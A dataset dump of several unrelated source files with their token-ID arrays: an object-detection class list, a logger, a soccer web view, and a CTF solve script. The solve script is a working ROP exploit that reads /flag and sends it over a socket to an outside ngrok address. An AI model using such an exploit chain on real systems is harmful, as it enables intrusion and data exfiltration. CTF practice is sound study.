2582,
29918,
3972,
29897,
2314,
13,
3986,
396,
17212,
2793,
881,
505,
1063,
11132,
29889,
13,
3986,
1583,
29889,
9294,
8824,
29898,
359,
29889,
2084,
29889,
9933,
29898,
3068,
653,
876,
13,
13,
29871,
822,
1243,
29918,
26061,
29918,
3827,
29918,
13221,
593,
29918,
14941,
29918,
2914,
29918,
3972,
29898,
1311,
1125,
13,
1678,
1820,
353,
28540,
2558,
877,
2589,
7988,
29918,
1989,
742,
525,
29888,
1296,
29918,
8568,
1495,
13,
1678,
411,
13201,
29918,
3972,
580,
408,
2582,
29918,
3972,
29901,
13,
418,
411,
13201,
29918,
1445,
29918,
2084,
29898,
4632,
29918,
3972,
29922,
9902,
29918,
3972,
29897,
408,
508,
653,
29901,
13,
4706,
411,
1583,
29889,
14669,
29918,
2997,
29918,
8173,
580,
408,
7090,
29901,
13,
3986,
1583,
29889,
9294,
14776,
29898,
13,
9651,
2910,
29898,
4804,
29918,
1509,
29918,
29883,
3791,
29918,
5325,
29892,
17288,
8173,
29892,
1820,
29892,
2582,
29918,
3972,
4638,
511,
13,
9651,
518,
8824,
2314,
13,
3986,
1583,
29889,
9294,
5574,
29898,
359,
29889,
2084,
29889,
9933,
29898,
3068,
653,
876,
13,
13,
4706,
411,
1583,
29889,
14669,
29918,
5060,
29918,
8173,
580,
408,
7090,
29901,
13,
3986,
1583,
29889,
9294,
14776,
29898,
13,
9651,
2910,
29898,
4804,
29918,
1509,
29918,
29883,
3791,
29918,
5325,
29892,
17288,
8173,
29892,
1820,
29892,
2582,
29918,
3972,
4638,
511,
13,
9651,
518,
8824,
2314,
13,
3986,
1583,
29889,
9294,
5574,
29898,
359,
29889,
2084,
29889,
9933,
29898,
3068,
653,
876,
13,
13,
29871,
822,
1243,
29918,
2616,
14214,
29918,
29883,
3791,
29918,
1445,
29918,
14941,
287,
29918,
786,
29898,
1311,
1125,
13,
1678,
1820,
353,
28540,
2558,
877,
2589,
7988,
29918,
1989,
742,
525,
29888,
1296,
29918,
8568,
1495,
13,
13,
1678,
411,
1583,
29889,
14669,
29918,
2997,
29918,
8173,
580,
408,
24238,
29918,
8173,
29901,
13,
418,
411,
1583,
29889,
14669,
29918,
1688,
29918,
1445,
29898,
8813,
29918,
8173,
29889,
8813,
29918,
4632,
29897,
408,
2224,
29901,
13,
4706,
24238,
29918,
8173,
29889,
7851,
29898,
1989,
29892,
518,
2084,
2314,
13,
4706,
9913,
1445,
353,
24238,
29918,
8173,
3032,
8173,
29918,
1445,
29918,
1454,
29918,
1989,
29898,
1989,
29897,
13,
13,
4706,
1583,
29889,
9294,
5574,
29898,
8813,
29918,
8173,
29889,
1509,
29918,
29883,
3791,
29918,
5325,
29898,
1989,
876,
13,
4706,
1583,
29889,
9294,
5574,
29898,
359,
29889,
2084,
29889,
9933,
29898,
12637,
1445,
876,
13,
13,
4706,
411,
1722,
29898,
12637,
1445,
29892,
525,
29893,
1495,
408,
714,
1445,
29901,
13,
3986,
714,
1445,
29889,
3539,
29898,
29890,
29915,
1333,
263,
2854,
260,
18828,
738,
901,
1495,
13,
13,
4706,
1583,
29889,
9294,
8824,
29898,
8813,
29918,
8173,
29889,
1509,
29918,
29883,
3791,
29918,
5325,
29898,
1989,
876,
13,
4706,
1583,
29889,
9294,
8824,
29898,
359,
29889,
2084,
29889,
9933,
29898,
12637,
1445,
876,
13,
2
] |
src/tensorrt_demos/utils/ssd_classes.py | MickaelCormier/IW276WS20-P10 | 1 | 64914 | <filename>src/tensorrt_demos/utils/ssd_classes.py
"""ssd_classes.py
This file was modified from:
http://github.com/AastaNV/TRT_object_detection/blob/master/coco.py
"""
COCO_CLASSES_LIST = [
'background', # was 'unlabeled'
'person',
'bicycle',
'car',
'motorcycle',
'airplane',
'bus',
'train',
'truck',
'boat',
'traffic light',
'fire hydrant',
'street sign',
'stop sign',
'parking meter',
'bench',
'bird',
'cat',
'dog',
'horse',
'sheep',
'cow',
'elephant',
'bear',
'zebra',
'giraffe',
'hat',
'backpack',
'umbrella',
'shoe',
'eye glasses',
'handbag',
'tie',
'suitcase',
'frisbee',
'skis',
'snowboard',
'sports ball',
'kite',
'baseball bat',
'baseball glove',
'skateboard',
'surfboard',
'tennis racket',
'bottle',
'plate',
'wine glass',
'cup',
'fork',
'knife',
'spoon',
'bowl',
'banana',
'apple',
'sandwich',
'orange',
'broccoli',
'carrot',
'hot dog',
'pizza',
'donut',
'cake',
'chair',
'couch',
'potted plant',
'bed',
'mirror',
'dining table',
'window',
'desk',
'toilet',
'door',
'tv',
'laptop',
'mouse',
'remote',
'keyboard',
'cell phone',
'microwave',
'oven',
'toaster',
'sink',
'refrigerator',
'blender',
'book',
'clock',
'vase',
'scissors',
'teddy bear',
'hair drier',
'toothbrush',
]
EGOHANDS_CLASSES_LIST = [
'background',
'hand',
]
def get_cls_dict(model):
"""Get the class ID to name translation dictionary."""
if model == 'coco':
cls_list = COCO_CLASSES_LIST
elif model == 'egohands':
cls_list = EGOHANDS_CLASSES_LIST
else:
raise ValueError('Bad model name')
return dict(enumerate(cls_list))
| [
1,
529,
9507,
29958,
4351,
29914,
20158,
2273,
29918,
2310,
359,
29914,
13239,
29914,
893,
29881,
29918,
13203,
29889,
2272,
13,
15945,
29908,
893,
29881,
29918,
13203,
29889,
2272,
13,
13,
4013,
934,
471,
9120,
515,
29901,
13,
1124,
597,
3292,
29889,
510,
29914,
29909,
5427,
29940,
29963,
29914,
5659,
29911,
29918,
3318,
29918,
29881,
2650,
428,
29914,
10054,
29914,
6207,
29914,
29883,
6235,
29889,
2272,
13,
15945,
29908,
13,
13,
3217,
3217,
29918,
6154,
3289,
1660,
29903,
29918,
24360,
353,
518,
13,
1678,
525,
7042,
742,
29871,
396,
471,
525,
348,
29880,
24025,
29915,
13,
1678,
525,
10532,
742,
13,
1678,
525,
29890,
4245,
2841,
742,
13,
1678,
525,
4287,
742,
13,
1678,
525,
14817,
272,
23090,
742,
13,
1678,
525,
1466,
22116,
742,
13,
1678,
525,
8262,
742,
13,
1678,
525,
14968,
742,
13,
1678,
525,
509,
2707,
742,
13,
1678,
525,
833,
271,
742,
13,
1678,
525,
3018,
2416,
3578,
742,
13,
1678,
525,
8696,
27246,
21867,
742,
13,
1678,
525,
29352,
1804,
742,
13,
1678,
525,
9847,
1804,
742,
13,
1678,
525,
6378,
292,
11134,
742,
13,
1678,
525,
1785,
305,
742,
13,
1678,
525,
18513,
742,
13,
1678,
525,
4117,
742,
13,
1678,
525,
26169,
742,
13,
1678,
525,
2015,
344,
742,
13,
1678,
525,
11360,
1022,
742,
13,
1678,
525,
20587,
742,
13,
1678,
525,
6146,
561,
424,
742,
13,
1678,
525,
29890,
799,
742,
13,
1678,
525,
29920,
774,
336,
742,
13,
1678,
525,
29887,
3055,
17615,
742,
13,
1678,
525,
2455,
742,
13,
1678,
525,
1627,
4058,
742,
13,
1678,
525,
398,
1030,
13520,
742,
13,
1678,
525,
845,
7297,
742,
13,
1678,
525,
1032,
29872,
12917,
267,
742,
13,
1678,
525,
3179,
23156,
742,
13,
1678,
525,
29873,
347,
742,
13,
1678,
525,
29658,
4878,
742,
13,
1678,
525,
1341,
275,
915,
29872,
742,
13,
1678,
525,
808,
275,
742,
13,
1678,
525,
29879,
3707,
3377,
742,
13,
1678,
525,
29879,
4011,
8287,
742,
13,
1678,
525,
29895,
568,
742,
13,
1678,
525,
3188,
2135,
17152,
742,
13,
1678,
525,
3188,
2135,
15482,
345,
742,
13,
1678,
525,
808,
403,
3377,
742,
13,
1678,
525,
7610,
29888,
3377,
742,
13,
1678,
525,
841,
6994,
1153,
3522,
742,
13,
1678,
525,
29890,
1501,
280,
742,
13,
1678,
525,
2341,
742,
13,
1678,
525,
29893,
457,
12917,
742,
13,
1678,
525,
5231,
742,
13,
1678,
525,
29888,
548,
742,
13,
1678,
525,
3959,
1607,
742,
13,
1678,
525,
1028,
6150,
742,
13,
1678,
525,
17729,
29880,
742,
13,
1678,
525,
2571,
1648,
742,
13,
1678,
525,
11548,
742,
13,
1678,
525,
29879,
392,
16416,
742,
13,
1678,
525,
272,
927,
742,
13,
1678,
525,
6729,
617,
5079,
742,
13,
1678,
525,
4287,
5450,
742,
13,
1678,
525,
8711,
11203,
742,
13,
1678,
525,
29886,
24990,
742,
13,
1678,
525,
9176,
329,
742,
13,
1678,
525,
1113,
446,
742,
13,
1678,
525,
305,
1466,
742,
13,
1678,
525,
29883,
3222,
742,
13,
1678,
525,
29886,
15048,
8024,
742,
13,
1678,
525,
2580,
742,
13,
1678,
525,
11038,
729,
742,
13,
1678,
525,
29881,
2827,
1591,
742,
13,
1678,
525,
7165,
742,
13,
1678,
525,
2783,
29895,
742,
13,
1678,
525,
517,
488,
29873,
742,
13,
1678,
525,
17433,
742,
13,
1678,
525,
12427,
742,
13,
1678,
525,
433,
16002,
742,
13,
1678,
525,
15769,
742,
13,
1678,
525,
16674,
742,
13,
1678,
525,
1989,
3377,
742,
13,
1678,
525,
3729,
9008,
742,
13,
1678,
525,
13076,
798,
1351,
742,
13,
1678,
525,
9813,
742,
13,
1678,
525,
517,
1901,
742,
13,
1678,
525,
29879,
682,
742,
13,
1678,
525,
999,
29878,
4087,
1061,
742,
13,
1678,
525,
2204,
1581,
742,
13,
1678,
525,
2909,
742,
13,
1678,
525,
13058,
742,
13,
1678,
525,
29894,
559,
742,
13,
1678,
525,
1557,
790,
943,
742,
13,
1678,
525,
9446,
4518,
11460,
742,
13,
1678,
525,
29882,
1466,
270,
4336,
742,
13,
1678,
525,
517,
720,
1182,
1878,
742,
13,
29962,
13,
13,
11787,
23170,
2190,
8452,
29918,
6154,
3289,
1660,
29903,
29918,
24360,
353,
518,
13,
1678,
525,
7042,
742,
13,
1678,
525,
3179,
742,
13,
29962,
13,
13,
13,
1753,
679,
29918,
25932,
29918,
8977,
29898,
4299,
1125,
13,
1678,
9995,
2577,
278,
770,
3553,
304,
1024,
13962,
8600,
1213,
15945,
13,
1678,
565,
1904,
1275,
525,
29883,
6235,
2396,
13,
4706,
1067,
29879,
29918,
1761,
353,
4810,
3217,
29918,
6154,
3289,
1660,
29903,
29918,
24360,
13,
1678,
25342,
1904,
1275,
525,
387,
1148,
4167,
2396,
13,
4706,
1067,
29879,
29918,
1761,
353,
382,
17080,
29950,
2190,
8452,
29918,
6154,
3289,
1660,
29903,
29918,
24360,
13,
1678,
1683,
29901,
13,
4706,
12020,
7865,
2392,
877,
22050,
1904,
1024,
1495,
13,
1678,
736,
9657,
29898,
15172,
29898,
25932,
29918,
1761,
876,
13,
2
] |
pwn/ezrop_revenge/solve.py | vidner/codepwnda-ctf | 6 | 177670 | <gh_stars>1-10
#!/usr/bin/env python
from pwn import *
context.terminal = ['tmux', 'split-window', '-h']
context.log_level = ['debug', 'info', 'warn'][1]
BINARY = './chall'
HOST = '172.16.17.32'
PORT = 17005
# 0x08057bd2: mov dword ptr [edx], eax; ret;
# 0x0806ee8b: pop edx; ret;
# 0x080ab5ca: pop eax; ret;
# 0x0806eeb2: pop ecx; pop ebx; ret;
# 0x0806f7c0: int 0x80; ret;
def syscall(eax, ebx=0, ecx=0, edx=0):
payload = p32(0x0806ee8b)
payload += p32(edx)
payload += p32(0x080ab5ca)
payload += p32(eax)
payload += p32(0x0806eeb2)
payload += p32(ecx)
payload += p32(ebx)
payload += p32(0x0806f7c0)
return payload
def write_where_what(where, what):
payload = p32(0x080ab5ca)
payload += p32(what)
payload += p32(0x0806ee8b)
payload += p32(where)
payload += p32(0x08057bd2)
return payload
def write_str(where, data):
payload = ''
data_split = [data[i:i+4].ljust(4, '\x00') for i in range(0, len(data), 4)]
for d in data_split:
payload += write_where_what(where, u32(d))
where += 4
return payload
def exploit(REMOTE):
if not REMOTE: gdb.attach(r, 'b *0x0806f7c0')
payload = 'AAAAAAAAAAAAAAAAAAAA'
# open flag
payload += write_str(elf.bss(0x10), '/flag\x00')
payload += syscall(5, elf.bss(0x10), 0, 0)
# open socket
sock_arg = p32(2)
sock_arg += p32(1)
sock_arg += p32(0)
payload += write_str(elf.bss(0x20), sock_arg)
payload += syscall(0x66, 1, elf.bss(0x20))
# connect
IPHEX = 0x67853813
IPHEX = 0x030ed4ad # ngrok
connect_struct = p32(0x0b290002) # port: 1507, domain: AF_INET
connect_struct += p32(IPHEX)[::-1]
payload += write_str(elf.bss(0x30), connect_struct)
connect_arg = p32(1) # sockfd
connect_arg += p32(elf.bss(0x30)) # connect_struct
connect_arg += p32(0x10) # idk
payload += write_str(elf.bss(0x100), connect_arg)
payload += syscall(0x66, 3, elf.bss(0x100))
# read flag
payload += syscall(3, 0, elf.bss(0x200), 0x100)
# write to socket
payload += syscall(4, 1, elf.bss(0x200), 0x100)
r.sendafter('\n', payload)
if __name__ == '__main__':
REMOTE = len(sys.argv) > 1
elf = ELF(BINARY, checksec=False)
if REMOTE:
r = remote(HOST, PORT)
else:
r = elf.process(aslr=False)
info(r.pid)
exploit(REMOTE)
r.interactive()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
3166,
282,
1233,
1053,
334,
13,
13,
4703,
29889,
8489,
979,
353,
6024,
18276,
1314,
742,
525,
5451,
29899,
7165,
742,
17411,
29882,
2033,
13,
4703,
29889,
1188,
29918,
5563,
353,
6024,
8382,
742,
525,
3888,
742,
525,
25442,
2033,
29961,
29896,
29962,
13,
13,
29933,
1177,
19926,
353,
19283,
305,
497,
29915,
13,
20832,
353,
525,
29896,
29955,
29906,
29889,
29896,
29953,
29889,
29896,
29955,
29889,
29941,
29906,
29915,
13,
15082,
353,
29871,
29896,
29955,
29900,
29900,
29945,
13,
13,
29937,
29871,
29900,
29916,
29900,
29947,
29900,
29945,
29955,
6448,
29906,
29901,
2351,
270,
1742,
23246,
518,
287,
29916,
1402,
321,
1165,
29936,
3240,
29936,
13,
29937,
29871,
29900,
29916,
29900,
29947,
29900,
29953,
3905,
29947,
29890,
29901,
1835,
1226,
29916,
29936,
3240,
29936,
13,
29937,
29871,
29900,
29916,
29900,
29947,
29900,
370,
29945,
1113,
29901,
1835,
321,
1165,
29936,
3240,
29936,
13,
29937,
29871,
29900,
29916,
29900,
29947,
29900,
29953,
29872,
774,
29906,
29901,
1835,
321,
18904,
29936,
1835,
18230,
29916,
29936,
3240,
29936,
13,
29937,
29871,
29900,
29916,
29900,
29947,
29900,
29953,
29888,
29955,
29883,
29900,
29901,
938,
29871,
29900,
29916,
29947,
29900,
29936,
3240,
29936,
13,
13,
1753,
10876,
4804,
29898,
29872,
1165,
29892,
18230,
29916,
29922,
29900,
29892,
321,
18904,
29922,
29900,
29892,
1226,
29916,
29922,
29900,
1125,
13,
1678,
20092,
29871,
353,
282,
29941,
29906,
29898,
29900,
29916,
29900,
29947,
29900,
29953,
3905,
29947,
29890,
29897,
13,
1678,
20092,
4619,
282,
29941,
29906,
29898,
287,
29916,
29897,
13,
1678,
20092,
4619,
282,
29941,
29906,
29898,
29900,
29916,
29900,
29947,
29900,
370,
29945,
1113,
29897,
13,
1678,
20092,
4619,
282,
29941,
29906,
29898,
29872,
1165,
29897,
13,
1678,
20092,
4619,
282,
29941,
29906,
29898,
29900,
29916,
29900,
29947,
29900,
29953,
29872,
774,
29906,
29897,
13,
1678,
20092,
4619,
282,
29941,
29906,
29898,
687,
29916,
29897,
13,
1678,
20092,
4619,
282,
29941,
29906,
29898,
774,
29916,
29897,
13,
1678,
20092,
4619,
282,
29941,
29906,
29898,
29900,
29916,
29900,
29947,
29900,
29953,
29888,
29955,
29883,
29900,
29897,
13,
1678,
736,
20092,
13,
13,
1753,
2436,
29918,
3062,
29918,
5816,
29898,
3062,
29892,
825,
1125,
13,
1678,
20092,
29871,
353,
282,
29941,
29906,
29898,
29900,
29916,
29900,
29947,
29900,
370,
29945,
1113,
29897,
13,
1678,
20092,
4619,
282,
29941,
29906,
29898,
5816,
29897,
13,
1678,
20092,
4619,
282,
29941,
29906,
29898,
29900,
29916,
29900,
29947,
29900,
29953,
3905,
29947,
29890,
29897,
13,
1678,
20092,
4619,
282,
29941,
29906,
29898,
3062,
29897,
13,
1678,
20092,
4619,
282,
29941,
29906,
29898,
29900,
29916,
29900,
29947,
29900,
29945,
29955,
6448,
29906,
29897,
13,
1678,
736,
20092,
13,
13,
1753,
2436,
29918,
710,
29898,
3062,
29892,
848,
1125,
13,
1678,
20092,
29871,
353,
6629,
13,
1678,
848,
29918,
5451,
353,
518,
1272,
29961,
29875,
29901,
29875,
29974,
29946,
1822,
29880,
5143,
29898,
29946,
29892,
11297,
29916,
29900,
29900,
1495,
363,
474,
297,
3464,
29898,
29900,
29892,
7431,
29898,
1272,
511,
29871,
29946,
4638,
13,
1678,
363,
270,
297,
848,
29918,
5451,
29901,
13,
4706,
20092,
4619,
2436,
29918,
3062,
29918,
5816,
29898,
3062,
29892,
318,
29941,
29906,
29898,
29881,
876,
13,
4706,
988,
4619,
29871,
29946,
13,
1678,
736,
20092,
13,
13,
1753,
16035,
277,
29898,
1525,
29924,
2891,
29923,
1125,
13,
1678,
565,
451,
5195,
29924,
2891,
29923,
29901,
330,
2585,
29889,
14930,
29898,
29878,
29892,
525,
29890,
334,
29900,
29916,
29900,
29947,
29900,
29953,
29888,
29955,
29883,
29900,
1495,
13,
1678,
20092,
29871,
353,
525,
23184,
23184,
23184,
23184,
23184,
29915,
13,
13,
1678,
396,
1722,
7353,
13,
1678,
20092,
4619,
2436,
29918,
710,
29898,
761,
29889,
29890,
893,
29898,
29900,
29916,
29896,
29900,
511,
8207,
15581,
29905,
29916,
29900,
29900,
1495,
13,
1678,
20092,
4619,
10876,
4804,
29898,
29945,
29892,
560,
29888,
29889,
29890,
893,
29898,
29900,
29916,
29896,
29900,
511,
29871,
29900,
29892,
29871,
29900,
29897,
13,
13,
1678,
396,
1722,
9909,
13,
1678,
577,
384,
29918,
1191,
29871,
353,
282,
29941,
29906,
29898,
29906,
29897,
13,
1678,
577,
384,
29918,
1191,
4619,
282,
29941,
29906,
29898,
29896,
29897,
13,
1678,
577,
384,
29918,
1191,
4619,
282,
29941,
29906,
29898,
29900,
29897,
13,
1678,
20092,
4619,
2436,
29918,
710,
29898,
761,
29889,
29890,
893,
29898,
29900,
29916,
29906,
29900,
511,
577,
384,
29918,
1191,
29897,
13,
1678,
20092,
4619,
10876,
4804,
29898,
29900,
29916,
29953,
29953,
29892,
29871,
29896,
29892,
560,
29888,
29889,
29890,
893,
29898,
29900,
29916,
29906,
29900,
876,
13,
13,
1678,
396,
4511,
13,
1678,
5641,
29950,
5746,
353,
29871,
29900,
29916,
29953,
29955,
29947,
29945,
29941,
29947,
29896,
29941,
13,
1678,
5641,
29950,
5746,
353,
29871,
29900,
29916,
29900,
29941,
29900,
287,
29946,
328,
396,
8736,
16475,
13,
1678,
4511,
29918,
4984,
29871,
353,
282,
29941,
29906,
29898,
29900,
29916,
29900,
29890,
29906,
29929,
29900,
29900,
29900,
29906,
29897,
396,
2011,
29901,
29871,
29896,
29945,
29900,
29955,
29892,
5354,
29901,
23844,
29918,
1177,
2544,
13,
1678,
4511,
29918,
4984,
4619,
282,
29941,
29906,
29898,
5690,
29950,
5746,
9601,
1057,
29899,
29896,
29962,
13,
1678,
20092,
4619,
2436,
29918,
710,
29898,
761,
29889,
29890,
893,
29898,
29900,
29916,
29941,
29900,
511,
4511,
29918,
4984,
29897,
13,
13,
1678,
4511,
29918,
1191,
29871,
353,
282,
29941,
29906,
29898,
29896,
29897,
396,
577,
384,
11512,
13,
1678,
4511,
29918,
1191,
4619,
282,
29941,
29906,
29898,
761,
29889,
29890,
893,
29898,
29900,
29916,
29941,
29900,
876,
396,
4511,
29918,
4984,
13,
1678,
4511,
29918,
1191,
4619,
282,
29941,
29906,
29898,
29900,
29916,
29896,
29900,
29897,
396,
1178,
29895,
13,
1678,
20092,
4619,
2436,
29918,
710,
29898,
761,
29889,
29890,
893,
29898,
29900,
29916,
29896,
29900,
29900,
511,
4511,
29918,
1191,
29897,
13,
13,
1678,
20092,
4619,
10876,
4804,
29898,
29900,
29916,
29953,
29953,
29892,
29871,
29941,
29892,
560,
29888,
29889,
29890,
893,
29898,
29900,
29916,
29896,
29900,
29900,
876,
13,
13,
1678,
396,
1303,
7353,
13,
1678,
20092,
4619,
10876,
4804,
29898,
29941,
29892,
29871,
29900,
29892,
560,
29888,
29889,
29890,
893,
29898,
29900,
29916,
29906,
29900,
29900,
511,
29871,
29900,
29916,
29896,
29900,
29900,
29897,
13,
13,
1678,
396,
2436,
304,
9909,
13,
1678,
20092,
4619,
10876,
4804,
29898,
29946,
29892,
29871,
29896,
29892,
560,
29888,
29889,
29890,
893,
29898,
29900,
29916,
29906,
29900,
29900,
511,
29871,
29900,
29916,
29896,
29900,
29900,
29897,
13,
13,
1678,
364,
29889,
6717,
7045,
28909,
29876,
742,
20092,
29897,
13,
268,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
5195,
29924,
2891,
29923,
353,
7431,
29898,
9675,
29889,
19218,
29897,
1405,
29871,
29896,
13,
1678,
560,
29888,
353,
14845,
29943,
29898,
29933,
1177,
19926,
29892,
1423,
3471,
29922,
8824,
29897,
13,
13,
1678,
565,
5195,
29924,
2891,
29923,
29901,
13,
4706,
364,
353,
7592,
29898,
20832,
29892,
349,
8476,
29897,
13,
1678,
1683,
29901,
13,
4706,
364,
353,
560,
29888,
29889,
5014,
29898,
294,
29212,
29922,
8824,
29897,
13,
4706,
5235,
29898,
29878,
29889,
5935,
29897,
13,
13,
1678,
16035,
277,
29898,
1525,
29924,
2891,
29923,
29897,
13,
1678,
364,
29889,
1639,
4925,
580,
13,
2
] |
pyhacks/Logger.py | barakt11/pyhacks | 0 | 120901 | <filename>pyhacks/Logger.py
import queue
import threading
from .constants import *
def verifyKey(item, keyName):
if type(keyName)!=str:
raise Exception("Key type excpected to be str but got {}".format(type(keyName)))
if keyName in item:
return True
else:
raise Exception("Key {} doesn't exist in item: {}".format(keyName, item))
def verifyKeys(item, keys):
if type(keys)!=list:
raise Exception("Keys type excpected to be list but got {}".format(type(keys)))
for key in keys:
verifyKey(item, key)
return True
class Logger:
def __init__(self, verbose = False):
self.q = queue.Queue()
self.thread = self.initThread()
self.verbose = verbose
def initThread(self):
def worker():
while True:
logObj = self.q.get()
if logObj is None:
self.q.task_done()
break
verifyKeys(logObj,["fileName","content"])
self._write(logObj["fileName"],logObj["content"])
self.q.task_done()
t = threading.Thread(target=worker)
t.start()
return t
def _write(self, fileName, content):
with open(fileName, "a") as myfile:
myfile.write("{}\n".format(content))
def green(self, content, fileName = LOG_FILE_NAME, verbose = True):
if verbose:
print('\033[32m', content, '\033[0m', sep='')
self.q.put({"fileName":fileName, "content":content})
def red(self, content, fileName = LOG_FILE_NAME, verbose = True):
if verbose:
print('\033[31m', content, '\033[0m', sep='')
self.q.put({"fileName":fileName, "content":content})
def yellow(self, content, fileName = LOG_FILE_NAME, verbose = True):
if verbose:
print('\033[33m', content, '\033[0m', sep='')
self.q.put({"fileName":fileName, "content":content})
def log(self, content, fileName = LOG_FILE_NAME, verbose = True):
if verbose:
print(content)
self.q.put({"fileName":fileName, "content":content})
def debug(self,content):
self.log(content,verbose=self.verbose)
def success(self, item):
item.verifyKey("counter")
self.q.put({"fileName":SUCESS_FILE_NAME, "content":item.get("counter")})
def put(self, item):
self.q.put(item)
def finish(self):
self.q.put(None)
self.thread.join()
self.q.join() | [
1,
529,
9507,
29958,
2272,
29882,
26514,
29914,
16363,
29889,
2272,
13,
5215,
9521,
13,
5215,
3244,
292,
13,
3166,
869,
3075,
1934,
1053,
334,
13,
13,
1753,
11539,
2558,
29898,
667,
29892,
1820,
1170,
1125,
13,
12,
361,
1134,
29898,
1989,
1170,
29897,
19216,
710,
29901,
13,
12,
12,
22692,
8960,
703,
2558,
1134,
5566,
6021,
304,
367,
851,
541,
2355,
6571,
1642,
4830,
29898,
1853,
29898,
1989,
1170,
4961,
13,
12,
361,
1820,
1170,
297,
2944,
29901,
13,
12,
12,
2457,
5852,
13,
12,
2870,
29901,
13,
12,
12,
22692,
8960,
703,
2558,
6571,
1838,
29915,
29873,
1863,
297,
2944,
29901,
6571,
1642,
4830,
29898,
1989,
1170,
29892,
2944,
876,
13,
13,
1753,
11539,
15506,
29898,
667,
29892,
6611,
1125,
13,
12,
361,
1134,
29898,
8149,
29897,
19216,
1761,
29901,
13,
12,
12,
22692,
8960,
703,
15506,
1134,
5566,
6021,
304,
367,
1051,
541,
2355,
6571,
1642,
4830,
29898,
1853,
29898,
8149,
4961,
13,
12,
1454,
1820,
297,
6611,
29901,
13,
12,
12,
27902,
2558,
29898,
667,
29892,
1820,
29897,
13,
12,
2457,
5852,
13,
13,
1990,
28468,
29901,
13,
12,
1753,
4770,
2344,
12035,
1311,
29892,
26952,
353,
7700,
1125,
13,
12,
12,
1311,
29889,
29939,
353,
9521,
29889,
10620,
580,
13,
12,
12,
1311,
29889,
7097,
353,
1583,
29889,
2344,
4899,
580,
13,
12,
12,
1311,
29889,
369,
15828,
353,
26952,
13,
13,
12,
1753,
2069,
4899,
29898,
1311,
1125,
13,
12,
12,
1753,
15645,
7295,
13,
12,
12,
12,
8000,
5852,
29901,
13,
12,
12,
12,
12,
1188,
9930,
353,
1583,
29889,
29939,
29889,
657,
580,
13,
12,
12,
12,
12,
361,
1480,
9930,
338,
6213,
29901,
13,
12,
12,
12,
12,
12,
1311,
29889,
29939,
29889,
7662,
29918,
15091,
580,
13,
12,
12,
12,
12,
12,
8690,
13,
12,
12,
12,
12,
27902,
15506,
29898,
1188,
9930,
29892,
3366,
28926,
3284,
3051,
20068,
13,
12,
12,
12,
12,
1311,
3032,
3539,
29898,
1188,
9930,
3366,
28926,
12436,
1188,
9930,
3366,
3051,
20068,
13,
12,
12,
12,
12,
1311,
29889,
29939,
29889,
7662,
29918,
15091,
580,
13,
12,
12,
29873,
353,
3244,
292,
29889,
4899,
29898,
5182,
29922,
24602,
29897,
13,
12,
12,
29873,
29889,
2962,
580,
13,
12,
12,
2457,
260,
13,
13,
12,
1753,
903,
3539,
29898,
1311,
29892,
29729,
29892,
2793,
1125,
13,
12,
12,
2541,
1722,
29898,
28926,
29892,
376,
29874,
1159,
408,
590,
1445,
29901,
13,
12,
12,
12,
1357,
1445,
29889,
3539,
703,
29912,
1012,
29876,
1642,
4830,
29898,
3051,
876,
13,
13,
12,
1753,
7933,
29898,
1311,
29892,
2793,
29892,
29729,
353,
25401,
29918,
7724,
29918,
5813,
29892,
26952,
353,
5852,
1125,
13,
12,
12,
361,
26952,
29901,
13,
12,
12,
12,
2158,
28909,
29900,
29941,
29941,
29961,
29941,
29906,
29885,
742,
2793,
29892,
11297,
29900,
29941,
29941,
29961,
29900,
29885,
742,
16345,
2433,
1495,
13,
12,
12,
1311,
29889,
29939,
29889,
649,
3319,
29908,
28926,
1115,
28926,
29892,
376,
3051,
1115,
3051,
1800,
13,
13,
12,
1753,
2654,
29898,
1311,
29892,
2793,
29892,
29729,
353,
25401,
29918,
7724,
29918,
5813,
29892,
26952,
353,
5852,
1125,
13,
12,
12,
361,
26952,
29901,
13,
12,
12,
1678,
1596,
28909,
29900,
29941,
29941,
29961,
29941,
29896,
29885,
742,
2793,
29892,
11297,
29900,
29941,
29941,
29961,
29900,
29885,
742,
16345,
2433,
1495,
13,
13,
12,
12,
1311,
29889,
29939,
29889,
649,
3319,
29908,
28926,
1115,
28926,
29892,
376,
3051,
1115,
3051,
1800,
13,
13,
12,
1753,
13328,
29898,
1311,
29892,
2793,
29892,
29729,
353,
25401,
29918,
7724,
29918,
5813,
29892,
26952,
353,
5852,
1125,
13,
12,
12,
361,
26952,
29901,
13,
12,
12,
12,
1678,
1596,
28909,
29900,
29941,
29941,
29961,
29941,
29941,
29885,
742,
2793,
29892,
11297,
29900,
29941,
29941,
29961,
29900,
29885,
742,
16345,
2433,
1495,
13,
12,
12,
1311,
29889,
29939,
29889,
649,
3319,
29908,
28926,
1115,
28926,
29892,
376,
3051,
1115,
3051,
1800,
13,
13,
12,
1753,
1480,
29898,
1311,
29892,
2793,
29892,
29729,
353,
25401,
29918,
7724,
29918,
5813,
29892,
26952,
353,
5852,
1125,
13,
12,
12,
361,
26952,
29901,
13,
12,
12,
12,
2158,
29898,
3051,
29897,
13,
12,
12,
1311,
29889,
29939,
29889,
649,
3319,
29908,
28926,
1115,
28926,
29892,
376,
3051,
1115,
3051,
1800,
13,
12,
13,
12,
1753,
4744,
29898,
1311,
29892,
3051,
1125,
13,
12,
12,
1311,
29889,
1188,
29898,
3051,
29892,
369,
15828,
29922,
1311,
29889,
369,
15828,
29897,
13,
13,
12,
1753,
2551,
29898,
1311,
29892,
2944,
1125,
13,
12,
12,
667,
29889,
27902,
2558,
703,
11808,
1159,
13,
12,
12,
1311,
29889,
29939,
29889,
649,
3319,
29908,
28926,
1115,
14605,
23524,
29918,
7724,
29918,
5813,
29892,
376,
3051,
1115,
667,
29889,
657,
703,
11808,
1159,
1800,
13,
13,
12,
1753,
1925,
29898,
1311,
29892,
2944,
1125,
13,
12,
12,
1311,
29889,
29939,
29889,
649,
29898,
667,
29897,
13,
13,
12,
1753,
8341,
29898,
1311,
1125,
13,
12,
12,
1311,
29889,
29939,
29889,
649,
29898,
8516,
29897,
13,
12,
12,
1311,
29889,
7097,
29889,
7122,
580,
13,
12,
12,
1311,
29889,
29939,
29889,
7122,
580,
2
] |
rcj_soccer/views/results.py | rcjaustralia/rcj-soccer-platform | 1 | 190824 | <filename>rcj_soccer/views/results.py
from flask import render_template
from rcj_soccer.base import app
from rcj_soccer.models import SoccerGame, Team, League
